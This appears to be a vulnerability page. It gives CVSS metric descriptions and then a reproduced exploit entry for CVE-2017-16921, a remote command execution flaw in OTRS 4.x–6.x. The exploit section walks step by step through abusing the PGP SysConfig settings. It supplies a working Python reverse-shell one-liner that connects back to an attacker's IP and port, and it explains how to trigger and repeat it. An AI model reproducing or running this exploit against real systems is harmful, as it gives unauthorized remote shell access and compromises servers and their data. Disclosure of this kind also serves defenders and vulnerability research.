The vulnerable system is not bound to the network stack and the attacker’s path is via read/write/execute capabilities. Either: the attacker exploits the vulnerability by accessing the target system locally (e.g., keyboard, console), or through terminal emulation (e.g., SSH); or the attacker relies on User Interaction by another person to perform actions required to exploit the vulnerability (e.g., using social engineering techniques to trick a legitimate user into opening a malicious document).
Attack Complexity
Low
AC
The attacker must take no measurable action to exploit the vulnerability. The attack requires no target-specific circumvention to exploit the vulnerability. An attacker can expect repeatable success against the vulnerable system.
Privileges Required
High
PR
The attacker requires privileges that provide significant (e.g., administrative) control over the vulnerable system allowing full access to the vulnerable system’s settings and files.
Scope
S
An exploited vulnerability can affect resources beyond the security scope managed by the security authority that is managing the vulnerable component. This is often referred to as a 'privilege escalation,' where the attacker can use the exploited vulnerability to gain control of resources that were not intended or authorized.
Confidentiality
High
C
There is total information disclosure, resulting in all data on the system being revealed to the attacker, or there is a possibility of the attacker gaining control over confidential data.
Integrity
High
I
There is a total compromise of system integrity. There is a complete loss of system protection, resulting in the attacker being able to modify any file on the target system.
Availability
High
A
There is a total shutdown of the affected resource. The attacker can deny access to the system or data, potentially causing significant loss to the organization.
Below is a copy: OTRS 5.0.x/6.0.x Remote Command Execution
# Exploit Title: OTRS Shell Access
# Date: 21-01-2018
# Exploit Author: Bln0rn
# Vendor Homepage: https://www.otrs.com/
# Software Link: http://ftp.otrs.org/pub/otrs/
# Version: 4.0.1 - 4.0.26, 5.0.0 - 5.0.24, 6.0.0 - 6.0.1
# Tested on: OTRS 5.0.2/CentOS 7.2.1511
# CVE : CVE-2017-16921
CVE-2017-16921:
"In OTRS 6.0.x up to and including 6.0.1, OTRS 5.0.x up to and including 5.0.24, and OTRS 4.0.x up to and including 4.0.26, an attacker who is logged into OTRS as an agent can manipulate form parameters (related to PGP) and execute arbitrary shell commands with the permissions of the OTRS or web server user."
OTRS 5.0.2 PoC:
1. Authenticate to an agent account. <path>/index.pl
2. Open "Admin" tab. <path>/index.pl?Action=Admin
3. Open "SysConfig" link. <path>/index.pl?Action=AdminSysConfig
4. Find the "Crypt:PGP" subgroup. <path>/index.pl?Action=AdminSysConfig;Subaction=Edit;SysConfigSubGroup=Crypt%3A%3APGP;SysConfigGroup=Framework
5. Manipulate form parameters and use "Update" button to save:
"PGP"
-Default: No
-New: Yes
"PGP::Bin"
-Default: /usr/bin/gpg
-New: <shell command including executables the webserver user has execute permissions for, no options>
-PoC (Reverse Python Shell): /usr/bin/python
"PGP::Options"
-Default: --homedir /opt/otrs/.gnupg/ --batch --no-tty --yes
-New: <any command options>
-PoC (Reverse Python Shell): -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<YOURIP>",<YOURLISTENINGPORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
6. Open "Admin" tab. <path>/index.pl?Action=Admin
7. Open "PGP Keys" to execute saved command. <path>/index.pl?Action=AdminPGP
Behavior will vary based on commands. The above PoC opened a stable, no TTY, reverse shell under the "apache" user. The page eventually timed out with a 502 error, but the web application seems otherwise unaffected. Killing the shell before timeout advances the web application to the proper "PGP Management" page. The exploit can be repeated unlimited times with step #7 above.
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